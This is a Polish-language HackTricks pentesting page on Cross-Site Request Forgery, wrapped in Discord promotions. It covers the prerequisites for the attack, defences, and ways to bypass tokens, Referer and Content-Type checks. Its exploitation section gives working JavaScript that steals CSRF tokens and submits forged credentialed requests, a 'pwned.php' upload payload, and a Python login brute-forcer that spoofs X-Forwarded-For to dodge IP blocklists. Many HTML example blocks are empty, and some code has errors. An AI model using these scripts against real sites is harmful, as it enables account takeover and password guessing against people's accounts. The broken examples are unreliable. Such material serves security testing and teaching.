# CSRF (Cross Site Request Forgery)
{{#include ../banners/hacktricks-training.md}}
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
## Wyjaśnienie Cross-Site Request Forgery (CSRF)
**Cross-Site Request Forgery (CSRF)** to rodzaj luki w zabezpieczeniach występującej w aplikacjach internetowych. Umożliwia atakującym wykonywanie działań w imieniu nieświadomych użytkowników, wykorzystując ich uwierzytelnione sesje. Atak jest realizowany, gdy użytkownik, który jest zalogowany na platformie ofiary, odwiedza złośliwą stronę. Strona ta następnie wywołuje żądania do konta ofiary za pomocą metod takich jak wykonywanie JavaScript, przesyłanie formularzy lub pobieranie obrazów.
### Wymagania wstępne do ataku CSRF
Aby wykorzystać lukę CSRF, musi być spełnionych kilka warunków:
1. **Zidentyfikuj cenną akcję**: Atakujący musi znaleźć akcję wartą wykorzystania, taką jak zmiana hasła użytkownika, adresu e-mail lub podniesienie uprawnień.
2. **Zarządzanie sesją**: Sesja użytkownika powinna być zarządzana wyłącznie za pomocą ciasteczek lub nagłówka HTTP Basic Authentication, ponieważ inne nagłówki nie mogą być manipulowane w tym celu.
3. **Brak nieprzewidywalnych parametrów**: Żądanie nie powinno zawierać nieprzewidywalnych parametrów, ponieważ mogą one uniemożliwić atak.
### Szybka kontrola
Możesz **złapać żądanie w Burp** i sprawdzić zabezpieczenia CSRF, a aby przetestować z przeglądarki, możesz kliknąć **Kopiuj jako fetch** i sprawdzić żądanie:
### Ochrona przed CSRF
Można wdrożyć kilka środków zaradczych, aby chronić przed atakami CSRF:
- [**Ciasteczka SameSite**](hacking-with-cookies/#samesite): Atrybut ten zapobiega przeglądarce w wysyłaniu ciasteczek wraz z żądaniami między witrynami. [Więcej o ciasteczkach SameSite](hacking-with-cookies/#samesite).
- [**Udostępnianie zasobów między źródłami**](cors-bypass.md): Polityka CORS witryny ofiary może wpływać na wykonalność ataku, szczególnie jeśli atak wymaga odczytania odpowiedzi z witryny ofiary. [Dowiedz się o obejściu CORS](cors-bypass.md).
- **Weryfikacja użytkownika**: Prośba o hasło użytkownika lub rozwiązanie captcha może potwierdzić intencje użytkownika.
- **Sprawdzanie nagłówków Referrer lub Origin**: Walidacja tych nagłówków może pomóc upewnić się, że żądania pochodzą z zaufanych źródeł. Jednak staranne konstruowanie adresów URL może obejść źle wdrożone kontrole, takie jak:
- Użycie `http://mal.net?orig=http://example.com` (adres URL kończy się zaufanym adresem URL)
- Użycie `http://example.com.mal.net` (adres URL zaczyna się zaufanym adresem URL)
- **Modyfikacja nazw parametrów**: Zmiana nazw parametrów w żądaniach POST lub GET może pomóc w zapobieganiu zautomatyzowanym atakom.
- **Tokeny CSRF**: Wprowadzenie unikalnego tokena CSRF w każdej sesji i wymaganie tego tokena w kolejnych żądaniach może znacznie zmniejszyć ryzyko CSRF. Skuteczność tokena można zwiększyć, egzekwując CORS.
Zrozumienie i wdrożenie tych zabezpieczeń jest kluczowe dla utrzymania bezpieczeństwa i integralności aplikacji internetowych.
## Obejście zabezpieczeń
### Z POST do GET
Może się zdarzyć, że formularz, który chcesz wykorzystać, jest przygotowany do wysyłania **żądania POST z tokenem CSRF, ale** powinieneś **sprawdzić**, czy **GET** jest również **ważny** i czy podczas wysyłania żądania GET **token CSRF nadal jest weryfikowany**.
### Brak tokena
Aplikacje mogą wdrożyć mechanizm do **walidacji tokenów**, gdy są obecne. Jednak luka powstaje, jeśli walidacja jest całkowicie pomijana, gdy token jest nieobecny. Atakujący mogą to wykorzystać, **usuwając parametr**, który przenosi token, a nie tylko jego wartość. Umożliwia to obejście procesu walidacji i skuteczne przeprowadzenie ataku Cross-Site Request Forgery (CSRF).
### Token CSRF nie jest powiązany z sesją użytkownika
Aplikacje **niepowiązujące tokenów CSRF z sesjami użytkowników** stanowią znaczące **ryzyko bezpieczeństwa**. Te systemy weryfikują tokeny w stosunku do **globalnej puli**, zamiast zapewnić, że każdy token jest związany z inicjującą sesją.
Oto jak atakujący to wykorzystują:
1. **Uwierzytelnij się** używając swojego konta.
2. **Uzyskaj ważny token CSRF** z globalnej puli.
3. **Użyj tego tokena** w ataku CSRF przeciwko ofierze.
Ta luka pozwala atakującym na składanie nieautoryzowanych żądań w imieniu ofiary, wykorzystując **niewystarczający mechanizm walidacji tokenów** aplikacji.
### Obejście metody
Jeśli żądanie używa "**dziwnej**" **metody**, sprawdź, czy funkcjonalność **przeciążania metody** działa. Na przykład, jeśli używa **metody PUT**, możesz spróbować **użyć metody POST** i **wysłać**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Może to również działać, wysyłając **parametr \_method wewnątrz żądania POST** lub używając **nagłówków**:
- _X-HTTP-Method_
- _X-HTTP-Method-Override_
- _X-Method-Override_
### Obejście tokena nagłówka niestandardowego
Jeśli żądanie dodaje **niestandardowy nagłówek** z **tokenem** do żądania jako **metodę ochrony CSRF**, to:
- Przetestuj żądanie bez **Niestandardowego Tokena i również nagłówka.**
- Przetestuj żądanie z dokładnie **taką samą długością, ale innym tokenem**.
### Token CSRF jest weryfikowany przez ciasteczko
Aplikacje mogą wdrożyć ochronę CSRF, duplikując token zarówno w ciasteczku, jak i w parametrze żądania lub ustawiając ciasteczko CSRF i weryfikując, czy token wysłany w backendzie odpowiada ciasteczku. Aplikacja weryfikuje żądania, sprawdzając, czy token w parametrze żądania zgadza się z wartością w ciasteczku.
Jednak ta metoda jest podatna na ataki CSRF, jeśli witryna ma luki umożliwiające atakującemu ustawienie ciasteczka CSRF w przeglądarce ofiary, takie jak luka CRLF. Atakujący mogą to wykorzystać, ładując zwodniczy obraz, który ustawia ciasteczko, a następnie inicjując atak CSRF.
Poniżej znajduje się przykład, jak atak mógłby być skonstruowany:
```html
```
> [!NOTE]
> Zauważ, że jeśli **token csrf jest powiązany z ciasteczkiem sesji, ta atak nie zadziała**, ponieważ będziesz musiał ustawić ofierze swoją sesję, a zatem będziesz atakować siebie.
### Zmiana Content-Type
Zgodnie z [**tym**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), aby **uniknąć** żądań **preflight** przy użyciu metody **POST**, dozwolone wartości Content-Type to:
- **`application/x-www-form-urlencoded`**
- **`multipart/form-data`**
- **`text/plain`**
Jednakże, zauważ, że **logika serwera może się różnić** w zależności od używanego **Content-Type**, więc powinieneś spróbować wymienionych wartości oraz innych, takich jak **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
Przykład (z [tutaj](https://brycec.me/posts/corctf_2021_challenges)) wysyłania danych JSON jako text/plain:
```html
```
### Ominięcie żądań wstępnych dla danych JSON
Podczas próby wysłania danych JSON za pomocą żądania POST, użycie `Content-Type: application/json` w formularzu HTML nie jest bezpośrednio możliwe. Podobnie, wykorzystanie `XMLHttpRequest` do wysłania tego typu treści inicjuje żądanie wstępne. Niemniej jednak, istnieją strategie, które mogą potencjalnie obejść to ograniczenie i sprawdzić, czy serwer przetwarza dane JSON niezależnie od Content-Type:
1. **Użyj alternatywnych typów treści**: Zastosuj `Content-Type: text/plain` lub `Content-Type: application/x-www-form-urlencoded`, ustawiając `enctype="text/plain"` w formularzu. To podejście testuje, czy backend wykorzystuje dane niezależnie od Content-Type.
2. **Zmień typ treści**: Aby uniknąć żądania wstępnego, zapewniając jednocześnie, że serwer rozpoznaje treść jako JSON, możesz wysłać dane z `Content-Type: text/plain; application/json`. To nie wywołuje żądania wstępnego, ale może być poprawnie przetwarzane przez serwer, jeśli jest skonfigurowany do akceptacji `application/json`.
3. **Wykorzystanie pliku SWF Flash**: Mniej powszechną, ale wykonalną metodą jest użycie pliku SWF Flash do ominięcia takich ograniczeń. Aby uzyskać szczegółowe zrozumienie tej techniki, zapoznaj się z [tym postem](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Ominięcie sprawdzania Referrer / Origin
**Unikaj nagłówka Referrer**
Aplikacje mogą weryfikować nagłówek 'Referer' tylko wtedy, gdy jest obecny. Aby zapobiec wysyłaniu tego nagłówka przez przeglądarkę, można użyć następującego tagu meta HTML:
```xml
```
To zapewnia, że nagłówek 'Referer' jest pomijany, co potencjalnie omija kontrole walidacji w niektórych aplikacjach.
**Obejścia Regexp**
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
Aby ustawić nazwę domeny serwera w URL, który Referrer ma wysłać w parametrach, możesz to zrobić:
```html
```
### **Ominięcie metody HEAD**
Pierwsza część [**tego opisu CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) wyjaśnia, że [kod źródłowy Oaka](https://github.com/oakserver/oak/blob/main/router.ts#L281), router jest ustawiony na **obsługę żądań HEAD jako żądań GET** bez ciała odpowiedzi - powszechne obejście, które nie jest unikalne dla Oaka. Zamiast konkretnego handlera, który zajmuje się żądaniami HEAD, są one po prostu **przekazywane do handlera GET, ale aplikacja po prostu usuwa ciało odpowiedzi**.
Dlatego, jeśli żądanie GET jest ograniczone, możesz po prostu **wysłać żądanie HEAD, które zostanie przetworzone jako żądanie GET**.
## **Przykłady wykorzystania**
### **Ekstrakcja tokena CSRF**
Jeśli **token CSRF** jest używany jako **ochrona**, możesz spróbować **ekstrahować go**, wykorzystując lukę [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) lub lukę [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
### **GET przy użyciu tagów HTML**
```xml
404 - Page not found
The URL you are requesting is no longer available
```
Inne tagi HTML5, które można wykorzystać do automatycznego wysyłania żądania GET, to:
```html
```
### Żądanie GET formularza
```html
```
### Żądanie POST formularza
```html
```
### Wysłanie żądania POST przez iframe
```html
```
### **Żądanie POST Ajax**
```html
```
### multipart/form-data POST request
```javascript
myFormData = new FormData()
var blob = new Blob([""], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
```
### multipart/form-data POST request v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
```
### Wysłanie żądania POST formularza z poziomu iframe
```html
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### **Kradzież tokena CSRF i wysłanie żądania POST**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
```
### **Kradzież tokena CSRF i wysłanie żądania Post za pomocą iframe, formularza i Ajax**
```html
```
### **Kradzież tokena CSRF i wysłanie żądania POST za pomocą iframe i formularza**
```html
```
### **Kradnij token i wyślij go za pomocą 2 iframe'ów**
```html
```
### **POSTZabierz token CSRF za pomocą Ajax i wyślij post z formularzem**
```html
```
### CSRF z Socket.IO
```html
```
## CSRF Login Brute Force
Kod może być użyty do przeprowadzenia ataku brute force na formularz logowania z użyciem tokena CSRF (używa również nagłówka X-Forwarded-For, aby spróbować obejść ewentualne czarne listy IP):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Narzędzia
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## Odniesienia
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów!
**Wgląd w Hacking**\
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
**Aktualności Hackingowe w Czasie Rzeczywistym**\
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze Ogłoszenia**\
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
{{#include ../banners/hacktricks-training.md}}